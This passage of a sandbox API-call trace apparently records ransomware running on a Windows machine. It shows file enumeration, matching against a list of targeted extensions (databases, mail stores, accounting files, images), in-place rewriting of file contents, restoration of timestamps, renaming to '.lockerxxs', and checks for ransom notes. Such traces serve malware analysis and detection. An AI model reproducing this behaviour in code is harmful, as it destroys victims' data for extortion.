lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg." [0082.986] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg.lockerxxs" [0082.986] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbyfeh[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.986] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x19cf [0082.986] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x52ec0b10, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x52ec0b10, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x52ec0b10, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.986] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.986] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x19a9, lpOverlapped=0x0) returned 1 [0083.024] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg") returned="BBBYfEH[1].jpg" [0083.024] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.024] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x19a9, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x19a9, lpOverlapped=0x0) returned 1 [0083.024] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.024] CloseHandle (hObject=0xa4) returned 1 [0083.024] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbyfeh[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbyfeh[1].jpg.lockerxxs")) returned 1 [0083.026] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b2bd440, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5b2bd440, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5b2bd440, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2ca1, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBZ20W[1].jpg", cAlternateFileName="BBBZ20~1.JPG")) returned 1 [0083.026] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.026] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBZ20W[1].jpg") returned 1 [0083.026] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBZ20W[1].jpg") returned 1 [0083.026] lstrcmpiA (lpString1="", lpString2="BBBZ20W[1].jpg") returned -1 [0083.026] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg") returned="BBBYfEH[1].jpg" [0083.026] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.026] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.026] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.026] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.026] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBBZ20W[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg" [0083.026] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.ems") returned 0 [0083.026] lstrlenA (lpString="*.ems") returned 5 [0083.026] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.db") returned 0 [0083.027] lstrlenA (lpString="*.db") returned 4 [0083.027] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.dbf") returned 0 [0083.027] lstrlenA (lpString="*.dbf") returned 5 [0083.027] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.myox") returned 0 [0083.027] lstrlenA (lpString="*.myox") returned 6 [0083.027] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.myo") returned 0 [0083.027] lstrlenA (lpString="*.myo") returned 5 [0083.027] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.qbw") returned 0 [0083.027] lstrlenA (lpString="*.qbw") returned 5 [0083.027] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.qbb") returned 0 [0083.027] lstrlenA (lpString="*.qbb") returned 5 [0083.027] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.qbm") returned 0 [0083.027] lstrlenA (lpString="*.qbm") returned 5 [0083.027] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.qbo") returned 0 [0083.027] lstrlenA (lpString="*.qbo") returned 5 [0083.027] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.qbx") returned 0 [0083.027] lstrlenA (lpString="*.qbx") returned 5 [0083.027] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.qba") returned 0 [0083.027] lstrlenA (lpString="*.qba") returned 5 [0083.027] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.qby") returned 0 [0083.027] lstrlenA (lpString="*.qby") returned 5 [0083.027] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.qbj") returned 0 [0083.028] lstrlenA (lpString="*.qbj") returned 5 [0083.028] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.ofx") returned 0 [0083.028] lstrlenA (lpString="*.ofx") returned 5 [0083.028] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.qif") returned 0 [0083.028] lstrlenA (lpString="*.qif") returned 5 [0083.028] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.mye") returned 0 [0083.028] lstrlenA (lpString="*.mye") returned 5 [0083.028] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.mbox") returned 0 [0083.028] lstrlenA (lpString="*.mbox") returned 6 [0083.028] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.eml") returned 0 [0083.028] lstrlenA (lpString="*.eml") returned 5 [0083.028] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.pst") returned 0 [0083.028] lstrlenA (lpString="*.pst") returned 5 [0083.028] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.ost") returned 0 [0083.028] lstrlenA (lpString="*.ost") returned 5 [0083.028] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.idx") returned 0 [0083.028] lstrlenA (lpString="*.idx") returned 5 [0083.028] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.dbx") returned 0 [0083.028] lstrlenA (lpString="*.dbx") returned 5 [0083.028] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.sql") returned 0 [0083.028] lstrlenA (lpString="*.sql") returned 5 [0083.028] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.mdb") returned 0 [0083.028] lstrlenA (lpString="*.mdb") returned 5 [0083.029] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.fdb") returned 0 [0083.029] lstrlenA (lpString="*.fdb") returned 5 [0083.029] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.wab") returned 0 [0083.029] lstrlenA (lpString="*.wab") returned 5 [0083.029] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.dat") returned 0 [0083.029] lstrlenA (lpString="*.dat") returned 5 [0083.029] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.txt") returned 0 [0083.029] lstrlenA (lpString="*.txt") returned 5 [0083.029] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.jpeg") returned 0 [0083.029] lstrlenA (lpString="*.jpeg") returned 6 [0083.029] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", pszSpec="*.jpg") returned 1 [0083.029] lstrlenA (lpString="*.jpg") returned 5 [0083.029] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg" [0083.029] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg" [0083.029] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg." [0083.029] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg.lockerxxs" [0083.029] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbz20w[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.031] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2ca1 [0083.031] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x5b2bd440, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x5b2bd440, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x5b2bd440, dwHighDateTime=0x1d2dd9e)) returned 1 [0083.031] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.031] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2c7b, lpOverlapped=0x0) returned 1 [0083.034] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg") returned="BBBZ20W[1].jpg" [0083.034] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.034] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2c7b, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2c7b, lpOverlapped=0x0) returned 1 [0083.034] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.034] CloseHandle (hObject=0xa4) returned 1 [0083.034] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbz20w[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbz20w[1].jpg.lockerxxs")) returned 1 [0083.036] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53950cb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53950cb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x539c30d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1f37, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBzaxY[1].jpg", cAlternateFileName="BBBZAX~1.JPG")) returned 1 [0083.036] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.036] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBzaxY[1].jpg") returned 1 [0083.036] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBzaxY[1].jpg") returned 1 [0083.036] lstrcmpiA (lpString1="", lpString2="BBBzaxY[1].jpg") returned -1 [0083.036] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg") returned="BBBZ20W[1].jpg" [0083.036] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.036] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.036] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.036] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.036] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBBzaxY[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg" [0083.036] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.ems") returned 0 [0083.036] lstrlenA (lpString="*.ems") returned 5 [0083.036] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.db") returned 0 [0083.037] lstrlenA (lpString="*.db") returned 4 [0083.037] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary 